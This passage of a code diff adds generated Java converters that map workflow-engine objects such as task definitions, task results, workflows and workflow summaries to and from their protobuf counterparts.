Task.Status.TIMED_OUT; break; + case SKIPPED: to = Task.Status.SKIPPED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskDefPb.TaskDef toProto(TaskDef from) { + TaskDefPb.TaskDef.Builder to = TaskDefPb.TaskDef.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getDescription() != null) { + to.setDescription( from.getDescription() ); + } + to.setRetryCount( from.getRetryCount() ); + to.setTimeoutSeconds( from.getTimeoutSeconds() ); + to.addAllInputKeys( from.getInputKeys() ); + to.addAllOutputKeys( from.getOutputKeys() ); + if (from.getTimeoutPolicy() != null) { + to.setTimeoutPolicy( toProto( from.getTimeoutPolicy() ) ); + } + if (from.getRetryLogic() != null) { + to.setRetryLogic( toProto( from.getRetryLogic() ) ); + } + to.setRetryDelaySeconds( from.getRetryDelaySeconds() ); + to.setResponseTimeoutSeconds( from.getResponseTimeoutSeconds() ); + if (from.getConcurrentExecLimit() != null) { + to.setConcurrentExecLimit( from.getConcurrentExecLimit() ); + } + for (Map.Entry pair : from.getInputTemplate().entrySet()) { + to.putInputTemplate( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getRateLimitPerFrequency() != null) { + to.setRateLimitPerFrequency( from.getRateLimitPerFrequency() ); + } + if (from.getRateLimitFrequencyInSeconds() != null) { + to.setRateLimitFrequencyInSeconds( from.getRateLimitFrequencyInSeconds() ); + } + if (from.getIsolationGroupId() != null) { + to.setIsolationGroupId( from.getIsolationGroupId() ); + } + if (from.getExecutionNameSpace() != null) { + to.setExecutionNameSpace( from.getExecutionNameSpace() ); + } + if (from.getOwnerEmail() != null) { + to.setOwnerEmail( from.getOwnerEmail() ); + } + if (from.getPollTimeoutSeconds() != null) { + to.setPollTimeoutSeconds( from.getPollTimeoutSeconds() ); + } + if (from.getBackoffScaleFactor() != null) { + to.setBackoffScaleFactor( from.getBackoffScaleFactor() ); + } + to.setMaxRetryDelaySeconds( from.getMaxRetryDelaySeconds() ); + to.setBackoffJitterMs( from.getBackoffJitterMs() ); + if (from.getBaseType() != null) { + to.setBaseType( from.getBaseType() ); + } + to.setTotalTimeoutSeconds( from.getTotalTimeoutSeconds() ); + to.setTaskStatusListenerEnabled( from.isTaskStatusListenerEnabled() ); + return to.build(); + } + + public TaskDef fromProto(TaskDefPb.TaskDef from) { + TaskDef to = new TaskDef(); + to.setName( from.getName() ); + to.setDescription( from.getDescription() ); + to.setRetryCount( from.getRetryCount() ); + to.setTimeoutSeconds( from.getTimeoutSeconds() ); + to.setInputKeys( from.getInputKeysList().stream().collect(Collectors.toCollection(ArrayList::new)) ); + to.setOutputKeys( from.getOutputKeysList().stream().collect(Collectors.toCollection(ArrayList::new)) ); + to.setTimeoutPolicy( fromProto( from.getTimeoutPolicy() ) ); + to.setRetryLogic( fromProto( from.getRetryLogic() ) ); + to.setRetryDelaySeconds( from.getRetryDelaySeconds() ); + to.setResponseTimeoutSeconds( from.getResponseTimeoutSeconds() ); + to.setConcurrentExecLimit( from.getConcurrentExecLimit() ); + Map inputTemplateMap = new HashMap(); + for (Map.Entry pair : from.getInputTemplateMap().entrySet()) { + inputTemplateMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInputTemplate(inputTemplateMap); + to.setRateLimitPerFrequency( from.getRateLimitPerFrequency() ); + to.setRateLimitFrequencyInSeconds( from.getRateLimitFrequencyInSeconds() ); + to.setIsolationGroupId( from.getIsolationGroupId() ); + to.setExecutionNameSpace( from.getExecutionNameSpace() ); + to.setOwnerEmail( from.getOwnerEmail() ); + to.setPollTimeoutSeconds( from.getPollTimeoutSeconds() ); + to.setBackoffScaleFactor( from.getBackoffScaleFactor() ); + to.setMaxRetryDelaySeconds( from.getMaxRetryDelaySeconds() ); + to.setBackoffJitterMs( from.getBackoffJitterMs() ); + to.setBaseType( from.getBaseType() ); + to.setTotalTimeoutSeconds( from.getTotalTimeoutSeconds() ); + to.setTaskStatusListenerEnabled( from.getTaskStatusListenerEnabled() ); + return to; + } + + public TaskDefPb.TaskDef.TimeoutPolicy toProto(TaskDef.TimeoutPolicy from) { + TaskDefPb.TaskDef.TimeoutPolicy to; + switch (from) { + case RETRY: to = TaskDefPb.TaskDef.TimeoutPolicy.RETRY; break; + case TIME_OUT_WF: to = TaskDefPb.TaskDef.TimeoutPolicy.TIME_OUT_WF; break; + case ALERT_ONLY: to = TaskDefPb.TaskDef.TimeoutPolicy.ALERT_ONLY; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskDef.TimeoutPolicy fromProto(TaskDefPb.TaskDef.TimeoutPolicy from) { + TaskDef.TimeoutPolicy to; + switch (from) { + case RETRY: to = TaskDef.TimeoutPolicy.RETRY; break; + case TIME_OUT_WF: to = TaskDef.TimeoutPolicy.TIME_OUT_WF; break; + case ALERT_ONLY: to = TaskDef.TimeoutPolicy.ALERT_ONLY; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskDefPb.TaskDef.RetryLogic toProto(TaskDef.RetryLogic from) { + TaskDefPb.TaskDef.RetryLogic to; + switch (from) { + case FIXED: to = TaskDefPb.TaskDef.RetryLogic.FIXED; break; + case EXPONENTIAL_BACKOFF: to = TaskDefPb.TaskDef.RetryLogic.EXPONENTIAL_BACKOFF; break; + case LINEAR_BACKOFF: to = TaskDefPb.TaskDef.RetryLogic.LINEAR_BACKOFF; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskDef.RetryLogic fromProto(TaskDefPb.TaskDef.RetryLogic from) { + TaskDef.RetryLogic to; + switch (from) { + case FIXED: to = TaskDef.RetryLogic.FIXED; break; + case EXPONENTIAL_BACKOFF: to = TaskDef.RetryLogic.EXPONENTIAL_BACKOFF; break; + case LINEAR_BACKOFF: to = TaskDef.RetryLogic.LINEAR_BACKOFF; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskExecLogPb.TaskExecLog toProto(TaskExecLog from) { + TaskExecLogPb.TaskExecLog.Builder to = TaskExecLogPb.TaskExecLog.newBuilder(); + if (from.getLog() != null) { + to.setLog( from.getLog() ); + } + if (from.getTaskId() != null) { + to.setTaskId( from.getTaskId() ); + } + to.setCreatedTime( from.getCreatedTime() ); + return to.build(); + } + + public TaskExecLog fromProto(TaskExecLogPb.TaskExecLog from) { + TaskExecLog to = new TaskExecLog(); + to.setLog( from.getLog() ); + to.setTaskId( from.getTaskId() ); + to.setCreatedTime( from.getCreatedTime() ); + return to; + } + + public TaskResultPb.TaskResult toProto(TaskResult from) { + TaskResultPb.TaskResult.Builder to = TaskResultPb.TaskResult.newBuilder(); + if (from.getWorkflowInstanceId() != null) { + to.setWorkflowInstanceId( from.getWorkflowInstanceId() ); + } + if (from.getTaskId() != null) { + to.setTaskId( from.getTaskId() ); + } + if (from.getReasonForIncompletion() != null) { + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + } + to.setCallbackAfterSeconds( from.getCallbackAfterSeconds() ); + if (from.getWorkerId() != null) { + to.setWorkerId( from.getWorkerId() ); + } + if (from.getStatus() != null) { + to.setStatus( toProto( from.getStatus() ) ); + } + for (Map.Entry pair : from.getOutputData().entrySet()) { + to.putOutputData( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getOutputMessage() != null) { + to.setOutputMessage( toProto( from.getOutputMessage() ) ); + } + if (from.getExecutionMetadata() != null) { + to.setExecutionMetadata( toProto( from.getExecutionMetadata() ) ); + } + return to.build(); + } + + public TaskResult fromProto(TaskResultPb.TaskResult from) { + TaskResult to = new TaskResult(); + to.setWorkflowInstanceId( from.getWorkflowInstanceId() ); + to.setTaskId( from.getTaskId() ); + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + to.setCallbackAfterSeconds( from.getCallbackAfterSeconds() ); + to.setWorkerId( from.getWorkerId() ); + to.setStatus( fromProto( from.getStatus() ) ); + Map outputDataMap = new HashMap(); + for (Map.Entry pair : from.getOutputDataMap().entrySet()) { + outputDataMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setOutputData(outputDataMap); + if (from.hasOutputMessage()) { + to.setOutputMessage( fromProto( from.getOutputMessage() ) ); + } + if (from.hasExecutionMetadata()) { + to.setExecutionMetadata( fromProto( from.getExecutionMetadata() ) ); + } + return to; + } + + public TaskResultPb.TaskResult.Status toProto(TaskResult.Status from) { + TaskResultPb.TaskResult.Status to; + switch (from) { + case IN_PROGRESS: to = TaskResultPb.TaskResult.Status.IN_PROGRESS; break; + case FAILED: to = TaskResultPb.TaskResult.Status.FAILED; break; + case FAILED_WITH_TERMINAL_ERROR: to = TaskResultPb.TaskResult.Status.FAILED_WITH_TERMINAL_ERROR; break; + case COMPLETED: to = TaskResultPb.TaskResult.Status.COMPLETED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskResult.Status fromProto(TaskResultPb.TaskResult.Status from) { + TaskResult.Status to; + switch (from) { + case IN_PROGRESS: to = TaskResult.Status.IN_PROGRESS; break; + case FAILED: to = TaskResult.Status.FAILED; break; + case FAILED_WITH_TERMINAL_ERROR: to = TaskResult.Status.FAILED_WITH_TERMINAL_ERROR; break; + case COMPLETED: to = TaskResult.Status.COMPLETED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public TaskSummaryPb.TaskSummary toProto(TaskSummary from) { + TaskSummaryPb.TaskSummary.Builder to = TaskSummaryPb.TaskSummary.newBuilder(); + if (from.getWorkflowId() != null) { + to.setWorkflowId( from.getWorkflowId() ); + } + if (from.getWorkflowType() != null) { + to.setWorkflowType( from.getWorkflowType() ); + } + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + if (from.getScheduledTime() != null) { + to.setScheduledTime( from.getScheduledTime() ); + } + if (from.getStartTime() != null) { + to.setStartTime( from.getStartTime() ); + } + if (from.getUpdateTime() != null) { + to.setUpdateTime( from.getUpdateTime() ); + } + if (from.getEndTime() != null) { + to.setEndTime( from.getEndTime() ); + } + if (from.getStatus() != null) { + to.setStatus( toProto( from.getStatus() ) ); + } + if (from.getReasonForIncompletion() != null) { + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + } + to.setExecutionTime( from.getExecutionTime() ); + to.setQueueWaitTime( from.getQueueWaitTime() ); + if (from.getTaskDefName() != null) { + to.setTaskDefName( from.getTaskDefName() ); + } + if (from.getTaskType() != null) { + to.setTaskType( from.getTaskType() ); + } + if (from.getInput() != null) { + to.setInput( from.getInput() ); + } + if (from.getOutput() != null) { + to.setOutput( from.getOutput() ); + } + if (from.getTaskId() != null) { + to.setTaskId( from.getTaskId() ); + } + if (from.getExternalInputPayloadStoragePath() != null) { + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + } + if (from.getExternalOutputPayloadStoragePath() != null) { + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + } + to.setWorkflowPriority( from.getWorkflowPriority() ); + if (from.getDomain() != null) { + to.setDomain( from.getDomain() ); + } + return to.build(); + } + + public TaskSummary fromProto(TaskSummaryPb.TaskSummary from) { + TaskSummary to = new TaskSummary(); + to.setWorkflowId( from.getWorkflowId() ); + to.setWorkflowType( from.getWorkflowType() ); + to.setCorrelationId( from.getCorrelationId() ); + to.setScheduledTime( from.getScheduledTime() ); + to.setStartTime( from.getStartTime() ); + to.setUpdateTime( from.getUpdateTime() ); + to.setEndTime( from.getEndTime() ); + to.setStatus( fromProto( from.getStatus() ) ); + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + to.setExecutionTime( from.getExecutionTime() ); + to.setQueueWaitTime( from.getQueueWaitTime() ); + to.setTaskDefName( from.getTaskDefName() ); + to.setTaskType( from.getTaskType() ); + to.setInput( from.getInput() ); + to.setOutput( from.getOutput() ); + to.setTaskId( from.getTaskId() ); + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + to.setWorkflowPriority( from.getWorkflowPriority() ); + to.setDomain( from.getDomain() ); + return to; + } + + public UpgradeWorkflowRequestPb.UpgradeWorkflowRequest toProto(UpgradeWorkflowRequest from) { + UpgradeWorkflowRequestPb.UpgradeWorkflowRequest.Builder to = UpgradeWorkflowRequestPb.UpgradeWorkflowRequest.newBuilder(); + for (Map.Entry pair : from.getTaskOutput().entrySet()) { + to.putTaskOutput( pair.getKey(), toProto( pair.getValue() ) ); + } + for (Map.Entry pair : from.getWorkflowInput().entrySet()) { + to.putWorkflowInput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getVersion() != null) { + to.setVersion( from.getVersion() ); + } + if (from.getName() != null) { + to.setName( from.getName() ); + } + return to.build(); + } + + public UpgradeWorkflowRequest fromProto(UpgradeWorkflowRequestPb.UpgradeWorkflowRequest from) { + UpgradeWorkflowRequest to = new UpgradeWorkflowRequest(); + Map taskOutputMap = new HashMap(); + for (Map.Entry pair : from.getTaskOutputMap().entrySet()) { + taskOutputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setTaskOutput(taskOutputMap); + Map workflowInputMap = new HashMap(); + for (Map.Entry pair : from.getWorkflowInputMap().entrySet()) { + workflowInputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setWorkflowInput(workflowInputMap); + to.setVersion( from.getVersion() ); + to.setName( from.getName() ); + return to; + } + + public WorkflowPb.Workflow toProto(Workflow from) { + WorkflowPb.Workflow.Builder to = WorkflowPb.Workflow.newBuilder(); + if (from.getStatus() != null) { + to.setStatus( toProto( from.getStatus() ) ); + } + to.setEndTime( from.getEndTime() ); + if (from.getWorkflowId() != null) { + to.setWorkflowId( from.getWorkflowId() ); + } + if (from.getParentWorkflowId() != null) { + to.setParentWorkflowId( from.getParentWorkflowId() ); + } + if (from.getParentWorkflowTaskId() != null) { + to.setParentWorkflowTaskId( from.getParentWorkflowTaskId() ); + } + for (Task elem : from.getTasks()) { + to.addTasks( toProto(elem) ); + } + for (Map.Entry pair : from.getInput().entrySet()) { + to.putInput( pair.getKey(), toProto( pair.getValue() ) ); + } + for (Map.Entry pair : from.getOutput().entrySet()) { + to.putOutput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + if (from.getReRunFromWorkflowId() != null) { + to.setReRunFromWorkflowId( from.getReRunFromWorkflowId() ); + } + if (from.getReasonForIncompletion() != null) { + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + } + if (from.getEvent() != null) { + to.setEvent( from.getEvent() ); + } + to.putAllTaskToDomain( from.getTaskToDomain() ); + to.addAllFailedReferenceTaskNames( from.getFailedReferenceTaskNames() ); + if (from.getWorkflowDefinition() != null) { + to.setWorkflowDefinition( toProto( from.getWorkflowDefinition() ) ); + } + if (from.getExternalInputPayloadStoragePath() != null) { + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + } + if (from.getExternalOutputPayloadStoragePath() != null) { + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + } + to.setPriority( from.getPriority() ); + for (Map.Entry pair : from.getVariables().entrySet()) { + to.putVariables( pair.getKey(), toProto( pair.getValue() ) ); + } + to.setLastRetriedTime( from.getLastRetriedTime() ); + to.addAllFailedTaskNames( from.getFailedTaskNames() ); + for (Workflow elem : from.getHistory()) { + to.addHistory( toProto(elem) ); + } + return to.build(); + } + + public Workflow fromProto(WorkflowPb.Workflow from) { + Workflow to = new Workflow(); + to.setStatus( fromProto( from.getStatus() ) ); + to.setEndTime( from.getEndTime() ); + to.setWorkflowId( from.getWorkflowId() ); + to.setParentWorkflowId( from.getParentWorkflowId() ); + to.setParentWorkflowTaskId( from.getParentWorkflowTaskId() ); + to.setTasks( from.getTasksList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + Map inputMap = new HashMap(); + for (Map.Entry pair : from.getInputMap().entrySet()) { + inputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInput(inputMap); + Map outputMap = new HashMap(); + for (Map.Entry pair : from.getOutputMap().entrySet()) { + outputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setOutput(outputMap); + to.setCorrelationId( from.getCorrelationId() ); + to.setReRunFromWorkflowId( from.getReRunFromWorkflowId() ); + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + to.setEvent( from.getEvent() ); + to.setTaskToDomain( from.getTaskToDomainMap() ); + to.setFailedReferenceTaskNames( from.getFailedReferenceTaskNamesList().stream().collect(Collectors.toCollection(HashSet::new)) ); + if (from.hasWorkflowDefinition()) { + to.setWorkflowDefinition( fromProto( from.getWorkflowDefinition() ) ); + } + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + to.setPriority( from.getPriority() ); + Map variablesMap = new HashMap(); + for (Map.Entry pair : from.getVariablesMap().entrySet()) { + variablesMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setVariables(variablesMap); + to.setLastRetriedTime( from.getLastRetriedTime() ); + to.setFailedTaskNames( from.getFailedTaskNamesList().stream().collect(Collectors.toCollection(HashSet::new)) ); + to.setHistory( from.getHistoryList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + return to; + } + + public WorkflowPb.Workflow.WorkflowStatus toProto(Workflow.WorkflowStatus from) { + WorkflowPb.Workflow.WorkflowStatus to; + switch (from) { + case RUNNING: to = WorkflowPb.Workflow.WorkflowStatus.RUNNING; break; + case COMPLETED: to = WorkflowPb.Workflow.WorkflowStatus.COMPLETED; break; + case FAILED: to = WorkflowPb.Workflow.WorkflowStatus.FAILED; break; + case TIMED_OUT: to = WorkflowPb.Workflow.WorkflowStatus.TIMED_OUT; break; + case TERMINATED: to = WorkflowPb.Workflow.WorkflowStatus.TERMINATED; break; + case PAUSED: to = WorkflowPb.Workflow.WorkflowStatus.PAUSED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public Workflow.WorkflowStatus fromProto(WorkflowPb.Workflow.WorkflowStatus from) { + Workflow.WorkflowStatus to; + switch (from) { + case RUNNING: to = Workflow.WorkflowStatus.RUNNING; break; + case COMPLETED: to = Workflow.WorkflowStatus.COMPLETED; break; + case FAILED: to = Workflow.WorkflowStatus.FAILED; break; + case TIMED_OUT: to = Workflow.WorkflowStatus.TIMED_OUT; break; + case TERMINATED: to = Workflow.WorkflowStatus.TERMINATED; break; + case PAUSED: to = Workflow.WorkflowStatus.PAUSED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public WorkflowDefPb.WorkflowDef toProto(WorkflowDef from) { + WorkflowDefPb.WorkflowDef.Builder to = WorkflowDefPb.WorkflowDef.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getDescription() != null) { + to.setDescription( from.getDescription() ); + } + to.setVersion( from.getVersion() ); + for (WorkflowTask elem : from.getTasks()) { + to.addTasks( toProto(elem) ); + } + to.addAllInputParameters( from.getInputParameters() ); + for (Map.Entry pair : from.getOutputParameters().entrySet()) { + to.putOutputParameters( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getFailureWorkflow() != null) { + to.setFailureWorkflow( from.getFailureWorkflow() ); + } + to.setSchemaVersion( from.getSchemaVersion() ); + to.setRestartable( from.isRestartable() ); + to.setWorkflowStatusListenerEnabled( from.isWorkflowStatusListenerEnabled() ); + if (from.getOwnerEmail() != null) { + to.setOwnerEmail( from.getOwnerEmail() ); + } + if (from.getTimeoutPolicy() != null) { + to.setTimeoutPolicy( toProto( from.getTimeoutPolicy() ) ); + } + to.setTimeoutSeconds( from.getTimeoutSeconds() ); + for (Map.Entry pair : from.getVariables().entrySet()) { + to.putVariables( pair.getKey(), toProto( pair.getValue() ) ); + } + for (Map.Entry pair : from.getInputTemplate().entrySet()) { + to.putInputTemplate( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getFailureWorkflowVersion() != null) { + to.setFailureWorkflowVersion( from.getFailureWorkflowVersion() ); + } + if (from.getWorkflowStatusListenerSink() != null) { + to.setWorkflowStatusListenerSink( from.getWorkflowStatusListenerSink() ); + } + if (from.getRateLimitConfig() != null) { + to.setRateLimitConfig( toProto( from.getRateLimitConfig() ) ); + } + if (from.getInputSchema() != null) { + to.setInputSchema( toProto( from.getInputSchema() ) ); + } + if (from.getOutputSchema() != null) { + to.setOutputSchema( toProto( from.getOutputSchema() ) ); + } + to.setEnforceSchema( from.isEnforceSchema() ); + for (Map.Entry pair : from.getMetadata().entrySet()) { + to.putMetadata( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getCacheConfig() != null) { + to.setCacheConfig( toProto( from.getCacheConfig() ) ); + } + to.addAllMaskedFields( from.getMaskedFields() ); + return to.build(); + } + + public WorkflowDef fromProto(WorkflowDefPb.WorkflowDef from) { + WorkflowDef to = new WorkflowDef(); + to.setName( from.getName() ); + to.setDescription( from.getDescription() ); + to.setVersion( from.getVersion() ); + to.setTasks( from.getTasksList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + to.setInputParameters( from.getInputParametersList().stream().collect(Collectors.toCollection(ArrayList::new)) ); + Map outputParametersMap = new HashMap(); + for (Map.Entry pair : from.getOutputParametersMap().entrySet()) { + outputParametersMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setOutputParameters(outputParametersMap); + to.setFailureWorkflow( from.getFailureWorkflow() ); + to.setSchemaVersion( from.getSchemaVersion() ); + to.setRestartable( from.getRestartable() ); + to.setWorkflowStatusListenerEnabled( from.getWorkflowStatusListenerEnabled() ); + to.setOwnerEmail( from.getOwnerEmail() ); + to.setTimeoutPolicy( fromProto( from.getTimeoutPolicy() ) ); + to.setTimeoutSeconds( from.getTimeoutSeconds() ); + Map variablesMap = new HashMap(); + for (Map.Entry pair : from.getVariablesMap().entrySet()) { + variablesMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setVariables(variablesMap); + Map inputTemplateMap = new HashMap(); + for (Map.Entry pair : from.getInputTemplateMap().entrySet()) { + inputTemplateMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInputTemplate(inputTemplateMap); + to.setFailureWorkflowVersion( from.getFailureWorkflowVersion() ); + to.setWorkflowStatusListenerSink( from.getWorkflowStatusListenerSink() ); + if (from.hasRateLimitConfig()) { + to.setRateLimitConfig( fromProto( from.getRateLimitConfig() ) ); + } + if (from.hasInputSchema()) { + to.setInputSchema( fromProto( from.getInputSchema() ) ); + } + if (from.hasOutputSchema()) { + to.setOutputSchema( fromProto( from.getOutputSchema() ) ); + } + to.setEnforceSchema( from.getEnforceSchema() ); + Map metadataMap = new HashMap(); + for (Map.Entry pair : from.getMetadataMap().entrySet()) { + metadataMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setMetadata(metadataMap); + if (from.hasCacheConfig()) { + to.setCacheConfig( fromProto( from.getCacheConfig() ) ); + } + to.setMaskedFields( from.getMaskedFieldsList().stream().collect(Collectors.toCollection(ArrayList::new)) ); + return to; + } + + public WorkflowDefPb.WorkflowDef.TimeoutPolicy toProto(WorkflowDef.TimeoutPolicy from) { + WorkflowDefPb.WorkflowDef.TimeoutPolicy to; + switch (from) { + case TIME_OUT_WF: to = WorkflowDefPb.WorkflowDef.TimeoutPolicy.TIME_OUT_WF; break; + case ALERT_ONLY: to = WorkflowDefPb.WorkflowDef.TimeoutPolicy.ALERT_ONLY; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public WorkflowDef.TimeoutPolicy fromProto(WorkflowDefPb.WorkflowDef.TimeoutPolicy from) { + WorkflowDef.TimeoutPolicy to; + switch (from) { + case TIME_OUT_WF: to = WorkflowDef.TimeoutPolicy.TIME_OUT_WF; break; + case ALERT_ONLY: to = WorkflowDef.TimeoutPolicy.ALERT_ONLY; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public WorkflowDefSummaryPb.WorkflowDefSummary toProto(WorkflowDefSummary from) { + WorkflowDefSummaryPb.WorkflowDefSummary.Builder to = WorkflowDefSummaryPb.WorkflowDefSummary.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + to.setVersion( from.getVersion() ); + if (from.getCreateTime() != null) { + to.setCreateTime( from.getCreateTime() ); + } + if (from.getUpdateTime() != null) { + to.setUpdateTime( from.getUpdateTime() ); + } + return to.build(); + } + + public WorkflowDefSummary fromProto(WorkflowDefSummaryPb.WorkflowDefSummary from) { + WorkflowDefSummary to = new WorkflowDefSummary(); + to.setName( from.getName() ); + to.setVersion( from.getVersion() ); + to.setCreateTime( from.getCreateTime() ); + to.setUpdateTime( from.getUpdateTime() ); + return to; + } + + public WorkflowSummaryPb.WorkflowSummary toProto(WorkflowSummary from) { + WorkflowSummaryPb.WorkflowSummary.Builder to = WorkflowSummaryPb.WorkflowSummary.newBuilder(); + if (from.getWorkflowType() != null) { + to.setWorkflowType( from.getWorkflowType() ); + } + to.setVersion( from.getVersion() ); + if (from.getWorkflowId() != null) { + to.setWorkflowId( from.getWorkflowId() ); + } + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + if (from.getStartTime() != null) { + to.setStartTime( from.getStartTime() ); + } + if (from.getUpdateTime() != null) { + to.setUpdateTime( from.getUpdateTime() ); + } + if (from.getEndTime() != null) { + to.setEndTime( from.getEndTime() ); + } + if (from.getStatus() != null) { + to.setStatus( toProto( from.getStatus() ) ); + } + if (from.getInput() != null) { + to.setInput( from.getInput() ); + } + if (from.getOutput() != null) { + to.setOutput( from.getOutput() ); + } + if (from.getReasonForIncompletion() != null) { + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + } + to.setExecutionTime( from.getExecutionTime() ); + if (from.getEvent() != null) { + to.setEvent( from.getEvent() ); + } + if (from.getFailedReferenceTaskNames() != null) { + to.setFailedReferenceTaskNames( from.getFailedReferenceTaskNames() ); + } + if (from.getExternalInputPayloadStoragePath() != null) { + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + } + if (from.getExternalOutputPayloadStoragePath() != null) { + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + } + to.setPriority( from.getPriority() ); + to.addAllFailedTaskNames( from.getFailedTaskNames() ); + if (from.getCreatedBy() != null) { + to.setCreatedBy( from.getCreatedBy() ); + } + to.putAllTaskToDomain( from.getTaskToDomain() ); + if (from.getIdempotencyKey() != null) { + to.setIdempotencyKey( from.getIdempotencyKey() ); + } + if (from.getParentWorkflowId() != null) { + to.setParentWorkflowId( from.getParentWorkflowId() ); + } + if (from.getClassifier() != null) { + to.setClassifier( from.getClassifier() ); + } + return to.build(); + } + + public WorkflowSummary fromProto(WorkflowSummaryPb.WorkflowSummary from) { + WorkflowSummary to = new WorkflowSummary(); + to.setWorkflowType( from.getWorkflowType() ); + to.setVersion( from.getVersion() ); + to.setWorkflowId( from.getWorkflowId() ); + to.setCorrelationId( from.getCorrelationId() ); + to.setStartTime( from.getStartTime() ); + to.setUpdateTime( from.getUpdateTime() ); + to.setEndTime( from.getEndTime() ); + to.setStatus( fromProto( from.getStatus() ) ); + to.setInput( from.getInput() ); + to.setOutput( from.getOutput() ); + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + to.setExecutionTime( from.getExecutionTime() ); + to.setEvent( from.getEvent() ); + to.setFailedReferenceTaskNames( from.getFailedReferenceTaskNames() ); + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + to.setPriority( from.getPriority() ); + to.setFailedTaskNames( from.getFailedTaskNamesList().stream().collect(Collectors.toCollection(HashSet::new)) ); + to.setCreatedBy( from.getCreatedBy() ); + to.setTaskToDomain( from.getTaskToDomainMap() ); + to.setIdempotencyKey( from.getIdempotencyKey() ); + to.setParentWorkflowId( from.getParentWorkflowId() ); + to.setClassifier( from.getClassifier() ); + return to; + } + + public WorkflowTaskPb.WorkflowTask toProto(WorkflowTask from) { + WorkflowTaskPb.WorkflowTask.Builder to = WorkflowTaskPb.WorkflowTask.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getTaskReferenceName() != null) { + to.setTaskReferenceName( from.getTaskReferenceName() ); + } + if (from.getDescription() != null) { + to.setDescription( from.getDescription() ); + } + for (Map.Entry pair : from.getInputParameters().entrySet()) { + to.putInputParameters( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getType() != null) { + to.setType( from.getType() ); + } + if (from.getDynamicTaskNameParam() != null) { + to.setDynamicTaskNameParam( from.getDynamicTaskNameParam() ); + } + if (from.getCaseValueParam() != null) { + to.setCaseValueParam( from.getCaseValueParam() ); + } + if (from.getCaseExpression() != null) { + to.setCaseExpression( from.getCaseExpression() ); + } + if (from.getScriptExpression() != null) { + to.setScriptExpression( from.getScriptExpression() ); + } + for (Map.Entry> pair : from.getDecisionCases().entrySet()) { + to.putDecisionCases( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getDynamicForkTasksParam() != null) { + to.setDynamicForkTasksParam( from.getDynamicForkTasksParam() ); + } + if (from.getDynamicForkTasksInputParamName() != null) { + to.setDynamicForkTasksInputParamName( from.getDynamicForkTasksInputParamName() ); + } + for (WorkflowTask elem : from.getDefaultCase()) { + to.addDefaultCase( toProto(elem) ); + } + for (List elem : from.getForkTasks()) { + to.addForkTasks( toProto(elem) ); + } + 